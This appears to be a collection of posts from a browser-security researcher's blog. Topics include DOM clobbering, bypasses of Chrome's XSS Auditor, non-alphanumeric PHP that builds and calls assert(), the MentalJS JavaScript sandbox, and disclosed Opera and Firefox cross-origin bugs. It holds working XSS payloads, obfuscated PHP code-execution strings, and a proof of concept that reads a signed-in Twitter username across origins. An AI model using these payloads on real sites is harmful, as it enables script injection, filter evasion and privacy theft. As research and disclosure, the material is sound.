DOM Clobbering

The DOM is a mess. In an effort to support legacy quick short cuts such as “form.name” etc the browsers have created a Frankenstein monster. This is well known of course but I just wonder how far the rabbit hole goes. I’m gonna share what I discovered over the years.

HTML Collections

First up is my favourite “HTML Collections”, when html elements are combined into groups they become a collection. You can actually force a collection by giving an element the same name. Such as:

<input id=x><input id=x><script>alert(x)</script>

On IE “x” alerts “Object HTML Collection”. What’s interesting is there are two ways of doing this, via name and via id, because it’s an array like structure you can reference each element by the order they appear in the collection e.g. collection[0] is the first element. We can use this functionality to “clobber” variables into window to create some interesting stuff. An example of this:

<a href="invalid:1" id=x name=y>test</a>
<a href="invalid:2" id=x name=y>test</a>
<script>alert(x.y[0])</script>

What is especially odd is that a collection constructed like this can refer to itself forever, for example:

<script>
alert(x.y.x.y.x.y[0]);
alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);
</script>

When the elements become a collection this of course removes the normal properties/methods on the HTML element if it was being referenced by name.

<a href=1 name=x>test</a>
<a href=1 name=x>test</a>
<script>
alert(x.removeChild)//undefined
alert(x.parentNode)//undefined
</script>

You can see how that could cause problems 🙂

Variable assignments cause anchor href modifications

This is a very old bug probably a few years old now, it was rediscovered by @gsnedders. On IE a global variable with the same name as an anchor element caused modification of that anchors href. For example

<a href="123" id=x>test</a>
<script>
x='javascript:alert(1)'//only in compat!
;</script>

If you have an anchor named “x” and an assignment with the same name then even if it is fully encoded you can still inject XSS by modifying the anchor directly.

Framebusters busted

Lastly on my trip down memory lane I have another interesting bug that was again found many moons ago. You might be familiar with code similar to this:

<script>
if(top!=self){
 top.location=self.location
}
</script>

It’s checking if the top most window is the same as the current window (usually to prevent a page being framed). If we can clobber a form before the check then we can fool the logic into thinking that self is a form and “self.location” is an attribute on that form like this:

<form name=self location="javascript:alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>

Which fires the alert! But there’s more, since an attribute is decoded when it’s accessed we can encode the colon of course but because on IE when the assignment occurs it’s also decoded we can now double encode! Which means this is perfectly valid too:

<form name=self location="javascript&amp;#58;alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>

In conclusion the DOM is a mess.

Bypassing XSS Auditor

I had a look at XSS Auditor for a bit of fun because Mario said it’s getting harder to bypass. Hmmm I don’t agree. I seem to remember the same flaws are present from the last time I checked it with a little variation. It is also a very limited XSS filter not supporting detection of script based attacks (very common). Another thing I noticed is it doesn’t actually detect attacks either it simply flags a valid attack based on a character WTF. Anyway I had a couple of hours to check and although it detected basic attacks I could bypass the external domain restriction it has on iframes, external form action restriction and execute XSS too.

Bypassing form action

I’m embarrassed it’s too easy. Simply injecting formaction you can use an external url. Action is restricted to relative urls formaction is not. Doh.

<form><input type=submit formaction=//google.com><textarea name=x>

PoC

Bypassing external iframe restriction

I’m embarrassed it’s too easy. Using a target to change the injected iframe address works because the parent/child relationship even across domains still works and you can force the click changing the url of the injected iframe using the target name of the iframe.

<iframe src="http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe>"></iframe><a href="http://businessinfo.co.uk" target=x id=x></a><script>window.onload=function(){x.click()}</script>

PoC

Bypassing XSS detection

You can inject a anchor with a javascript url if the injection occurs next to an existing anchor element these are accounted for by the filter by trying to detect if the is a & or forward slash etc. They tried to cover all js comment but forgot two things, first ––> is a single line comment in javascript and the paragraph/line separators can activate it just like a new line since it needs to start on it’s own line to work on Chrome.

PoC1 using anchor

PoC2 using iframe

A gift from Mario

Here is Mario Heiderich’s full bypass with an awesome vector. Added here with his permission.

PoC

The evolution of code

I’m going to try and define something that doesn’t exist and hopefully implement it in future. My long term goal is to be able to evolve code that understands itself and can mutate into new functionality. The trouble is randomized code is going to take a long long long time to evolve into something usable. My idea is to use inputs and outputs and “actions” and the length and speed of the program to evolve itself.

First we’ll call an evolvable program “eProgram”. ePrograms will mutate if their output or action is the same but the program changes to be faster or shorter. An I/O function is part of the eProgram that accepts input and produces output which we’ll call iFunction. An action function is a function that accepts input but has no output but produces an action which we’ll call aFunction. E.g. draw square. You cannot have a function that doesn’t produce an output and doesn’t produce an action because it will be impossible to verify if the mutated state contains the desired results. Each eProgram also have a malicious input which we’ll call mInput and a malicious action that we’ll call mAction. This will allow us to mutate malicious code and create variants that can be tested against to ensure our program is secure. Ideally every function within the eProgram should be able to produce every known input/output which makes me think that state machines will not be able to evolve because of the halting problem “Given a description of an arbitrary computer program, decide whether the program finishes running or continues to run forever”. It is not necessary to know all inputs/outputs of a function but desired since if we do we can ensure our evolved programs are also secure regardless how different they may become.

Our ePrograms can now evolve to produce smaller faster code by checking their actions or outputs and verify their security by checking the mInputs and variants and ensuring mActions don’t execute. It is possible that a eProgram could simply evolve it’s outputs by literally outputting it’s expected output without performing an operation. E.g. instead of doing a+b = 2 it could just return 2. It’s hard to verify this and so it’s important to include as many inputs/outputs as possible and make sure each action is verified correctly. Would literals be part of the evolution process? I’m not sure. Maybe not which would solve problem since it’s unlikely that the program will be able to mutate all it’s outputs literally without them.

Ok so our ePrograms can mutate themselves theoretically to be smaller and faster but how can a square evolve into a circle? We could merge ePrograms together to form a new eProgram that inherits all iFunctions, aFunctions, mInputs etc we could manipulate the literals of expected outputs to produce new functionality. I guess we could call this rule mutation but this area is very tricky since the rules could be mutated to cause problems. The other problem with merged programs is we do not have any way to measure their usefulness. Maybe human interaction is required here? Programs could be chosen based on a human choice. E.g. I like circles this eProgram mutation looks interesting. Somehow we need to define a desired result of a program merge maybe a merged action e.g. I want a square and circle. We also might have a desired result but not the code to produce it, somehow an eProgram would need to learn how to produce a desired result by mutating rules and ePrograms.

Lastly we could tap into existing code examples to learn about new code automatically. For example an eProgram might not know how to use canvas in JavaScript but it could spider stackoverflow for code examples until it achieves it’s desired result. Somehow we’d need to generate unknown outputs/actions to be verified against maybe existing code could be used here also? What I mean by generated outputs/actions is that an eProgram would need to know the end result such as a canvas object with a square in the middle in order to generate the same result. If those can be extracted it would mean we’d be able to evolve existing code samples into new programs or improve the speed and length and possibly even security.

Rough spec of an eProgram


eProgram = {
            iFunctions:[{
               input:[1,1],
               output:2,
               func: function(x,y) {
                  var result = x+y;
                  document.getElementById('x').innerHTML = result;
                  return result;
               },
               mInput: ['<img src=1 onerror=alert(1)>'],
               mAction: function(callback) {
                  window.alert = function(){
                     callback();
                  }
               }
            }],
            aFunctions:[{
               action:function() {
                    var span = document.createElement('span');
                    span.id = 'x';
                    document.body.appendChild(span);  
               },
               vAction:function() {
                  if(document.getElementById('x')) {
                    return true;
                  } else {
                    return false;
                  }
              }
            }]                 
};

To illustrate the concept in simple form I did a code example a while ago where randomization could reduce the size of the code based on a known output. Mutation minify uses random positions in the code to remove and verifies that it’s output doesn’t change and verifies an action that the code’s syntax is correct. What’s interesting about this basic example is the output of code can be different based on the random positions it decides to remove so even at a basic level we have a program deciding to take two paths. From an evolution standpoint we could compare these two decisions to find out which one is best and resolve the method needed to produce it.

Update..

Talking with Mario Heiderich about this and we came to the conclusion that in order to evolve ePrograms with new functionality without human interaction you’d have to manipulate the output of iFunctions and randomize the objects from aFunctions. This I will call iFunction manipulation and aFunction manipulation. As mentioned in the article it might be tricky to do something like this since you could produce an invalid output perhaps we could create a similar output to avoid this or somehow use an invalid output as a factor to determine fitness of a eProgram.

Non-Alpha PHP in 6-7 charset

Alex Inführ has a pretty awesome blog post on how to execute non-alpha PHP with only $_=+();. Pretty amazing stuff please check it out here:
Non-Alpha PHP in 6-7 charset. To create assert it would be 99mb! Hehe.

Tweetable PHP-Non Alpha

I started to try and break the 10 charset limit of PHP non-alpha after @InsertScript showed me that PHP Dev supports [] syntax for arrays. I wondered if it would be possible to break the limit within production PHP. At first I thought you could but then after some testing I found that there was no way to concat without “.” and no way to call a string as a function without $ and =. However since I got into PHP Non-alpha again I thought why not try and improve it and make the code tweetable.

The first hack I found was that underscore is usable in PHP as a string since there is a function called “_”. Therefore we can create 0 by simply doing:
echo +_;

You can also create numbers and arrays using undefined variable references like so:
echo ++$_[];//prints 1

You can also chain those together to form more numbers (useful for code generation)
echo (++$_[])+(++$_[]);//2

Lets create assert using these techniques.
First we create an array:
$_[]++;

Then we concat that array with a underscore to do a string conversion. I put the value in the next position of the array so we can reuse the 1 in the first position.
$_[]=$_._;

Here I reuse the 1 to extract the string “Array_” from the second element of the array.
$_=$_[$_[+_]];

I create one using a undefined variable reference ++$__[] and extract “r” from the string.
$___=$__=$_[++$__[]];

Then I extract “A” and reuse it for getting “e”
$____=$_=$_[+_];

Increment “A” a couple of times to get “D”
$_++;$_++;$_++;

Finally increment the other characters to form “assert”.
$_=$____.++$___.$___.++$_.$__.++$___;$_

The final tweetable code:
$_[]++;$_[]=$_._;$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];
$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$_('print "haha";');

MentalJS for PHP

I decided to convert MentalJS to PHP so that the parsing can happen server side and maybe even later on allow JavaScript execution inside PHP. I found PHP really slow and has poor support for creating parsers. As an example I found that parsing jQuery in php was around 3.6-4 seconds whereas JavaScript was 100ms, I noticed an improvement when I used .= instead of str = str .str but it’s still pretty slow. Adding multi-byte characters was even worse 🙁 mb_substr is so slow it can fail to parse even small amounts of JavaScript. I suppose my code was optimized for JavaScript so there’s probably a little bit of work to optimize for PHP. PHP closure support is quite pathetic and feels hacked together since variables defined in a parent function aren’t available to a child function which is odd and you have to use the “use” statement in the function definition WTF. But anyway less moaning about PHP.

The PHP class is available here:
MentalJS Class

Here’s how to use it:

$js = new MentalJS;
echo $js->minify("function x ( ) {\n\n\n\n\n x = 1\n3\n\n}");

At the moment it supports minifying, parsing, syntax checking and getting a parse tree of the parsed data. In future I may support “execute” to allow JavaScript execution in PHP but before that I need to find ways to speed it up to get it closer to JS parse times. I’ve also done a simple demo so you can check it out here:
MentalJS PHP demo

Opera x-domain with video tutorial

This is a pretty awesome x-domain I found and reported to Opera. It should be fixed in the latest version. Opera was leaking more properties than it should on a x-domain location but the flaw was interesting because Opera prevented access to functions like alert etc so it wasn’t directly exploitable however by using literal values you could obtain the Object constructors like the Array constructor and overwrite prototypes to execute code.


iframe.contentWindow.location.constructor.prototype
.__defineGetter__.constructor('[].constructor.
prototype.join=function(){alert("PWND:"+document.body.innerHTML)}')();

The when the site executed [].join the function would be called resulting in x-domain access. I did a video tutorial to show how I discovered it enjoy!
Opera x-domain Hackvertor tutorial video

Sandboxing and parsing jQuery in 100ms

I’ve been on a mission to create a reliable JavaScript sandbox. I started off writing one with regular expressions which was flawed because of the inability to match whole expressions and matching characters. That sandbox was called JSReg, it was broken by the very best js hackers (Alexey Silin, Jonas Magazinius, Mario Heiderich, Eduardo Vela, David Lindsay, Stefano Di Paola, Soroush Dalili, Giorgio Maone). After their work testing I decided to make a new parser called MentalJS, this time I didn’t let the browser handle syntax I parsed it and corrected it myself.

Today I feel a moment of satisfaction in that I think I’ve achieved my goal that I set myself. MentalJS now parses and sandboxes jQuery in 100ms and it’s actually usable within a sandboxed environment. The sandboxed environment is quite restrictive since I haven’t had chance to add a complete emulated DOM api but I don’t care about that right now. My goal was to create a perfect js parser and sandbox that you can’t escape from and I think I’ve done that.

Thanks again to Jonas Magazinius who helped me improve my parsing technique by providing very good test cases.

Try MentalJS for yourself.

MentalJS Sandbox/Parser

Mental JS Logo

I was driving in the car on my own in a lot of traffic lights and I suddenly had an idea. To take the work I did in JSReg and make a real parser by matching starting and ending characters. I began to code it in my head as I was sitting in the lights. As the idea formed in my mind so did the idea of what to call it. MentalJS! It’s a cool name because you can say “whoa that’s mental” 🙂

How it works

I was new to how parsers worked so I looked around at the basic concepts but noticed there is a lexing step. I was confused because you can discover tokens on the fly as you parse. The main argument against this is you know the state before for example “{” to decide if it’s a block or object literal but by the time you get to “}” you don’t know the state since there could be many objects inside those pairs of characters. The core of my technique takes advantage of the fact that these characters require each other and a starting “{” character can’t be outside the last “}” character because that would be a syntax error. The great thing about this technique is that there are more characters in which you can match this way such as [ and ] and ( and ).

How do you know that “{” belongs to “}”? You just need a stack to pop states out when a closing “}” is found. Here is what the structure looks like:


lookups = {
'[':{
end:']',
states:[]
},
'{':{
end:'}',
states:[]
},
'(':{
end:')',
states:[]
}
};

When you encounter a “[” you populate the lookups state with the current state to the stack of the matching character, then when you encounter the ending “]” you read the lookups again and pop the state stack but return the known state. I do this because as you go inwards depending how many characters you have each pop will return the correct state for the matching character and these states will only be stored until the last outer character. If you have any states left at the end then you know there is a syntax error since there is a unmatched character.

There is a complication with this technique, some characters overlap such as the ternary operator which overlaps with object literals and labels since “:” is used by all. I got round this in two ways, for object literals I populated another state which stored the parent state and for case statements I used a current expression state to store the state until “:” was encounted. I used these states in the lookup function since when the closing character is encountered I can track the parent state and expression.

What I noticed with this technique is that it’s super fast since the lexing step/comment removal happens as it’s parsed. The code isn’t perfect however and I need to improve how I track states and automate the valid syntax and correct tokens and states because I’m doing it manually which is pretty messy at the moment.

Note I’m still learning parser terminology so apologises if I was incorrect with any references.

Sandboxing

I decided to dump support for non ES5 browsers since I want to execute within the window but prevent sandboxed code from writing to native objects. ES5 is the only way to do this reliably. Another reason is I want to use the enumerable feature which allows me to make properties non-enumerable for objects. This is a big difference to JSReg where I had to manually rewrite for loops to remove properties. Now I create a mirror of new object literals e.g. ({a,123}) will be ({“$a$”:123,”a”:1}) allowing me to whitelist properties but enabling the “in” operator to work. The core sandboxing features are the same as JSReg since they were pretty strong and there weren’t many hacks on the actual sandbox system.

Demo

I’ve created a simple demo to see how it works, it’s still early days yet but it’s parsing quite a lot of stuff and doing a lot of sandbox work.
MentalJS Demo

Credits

Thanks especially to LeverOne (Alexey Silin) (from the sla.ckers forums) since his JavaScript skills and hacks lead me to develop a real parser that could handle his attacks. I’d also like to thank all those who broke JSReg: Jonas Magazinius, Mario, Sirdarckcat, David Lindsay, Stefano Di Paola, Soroush Dalili, Giorgio Maone and anyone else I forgot.

Firefox knows what your friends did last summer

Update…

Mozilla have now fixed the problem on Thursday. Not only did they take down the original release but fixed it very quickly within two days which is very impressive. Good work!

I was writing some JavaScript and found that the following happens:


/undefined/.test(undefined)//true

The undefined value is converted to a string and then the test returns true. It surprised me but wasn’t totally unexpected but then I thought if a string conversion is being done inside the native function then perhaps we can abuse that? Oh yes we can 🙂 I thought how about we apply this to a x-domain protected object. E.g. location of an external iframe. /businessinfo\.co\.uk/.test(document.getElementById(‘x’).contentWindow.location) worked! But wait if a test works then so could exec and we can get the location from a x-domain. /(.+)/.exec(loc); also works since the x-domain object is being converted to a string in the exec function too.

First thing I thought was I can use twitter to identify the user 🙂 but how? /home doesn’t return a unique url, I was searching through twitter to see what urls redirected to a unique url when I found /lists which redirects to twitter.com/uid/lists 🙂 perfect.

Here’s how the PoC works. You need to be signed into twitter using https. The PoC then opens a new window to the /lists url on twitter. Waits 5 seconds, then calls a regex on the x-domain object to reveal the twitter username.


function poc() {
var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}

PoC

There you have it Firefox is a little to lax with the location object.